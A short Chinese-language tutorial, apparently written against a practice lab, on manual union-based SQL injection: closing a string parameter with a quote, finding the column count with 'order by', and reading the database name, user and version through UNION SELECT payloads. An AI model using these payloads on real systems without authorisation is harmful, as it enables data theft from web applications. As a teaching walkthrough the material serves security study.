SQL Injection手动测试---基于union的信息获取

SQL Injection手动测试—基于union的信息获取（本文仅限于技术分享或参考）

union联合查询：
可以通过联合查询来查询指定的数据。
select username, password from user where id=1 union select 字段1，字段2 from 表名；（联合查询的字段数需要和主查询一致）

例：mysql> select id, email from member where username=‘kobe’ union select username, pw from member where id=1;

1. 如果此时找到一个SQL注入漏洞，可以通过一些方法获取数据库基本信息（数据库版本，权限，对应数据库名称）
   （1）通过select database();获取数据库名称：
   
   （2）通过select user();获取当前数据库权限：
   
   （3）通过select version();获取当前数据库版本：
   
2. 通过SQL输入来获取数据库名称和权限等（通过字符型的注入进行演示）：
   （1）先构造闭合：aaaa’
   （2）使用order by猜测主查询有几个字段：aaaa’ order by 5#
   
   提交之后查看结果，第5列不存在：
   
   再输入aaaa’ order by 3#：
   
   提交之后查看结果，第3列不存在：
   
   再输入aaaa’ order by 2#，发现查询语句正常执行，意味着主查询里面有两个字段：
   
   
   （3）使用union做拼接：aaaa’ union select database(), user()#
   
   将数据库名称和权限查询出来（同理也可以查版本）：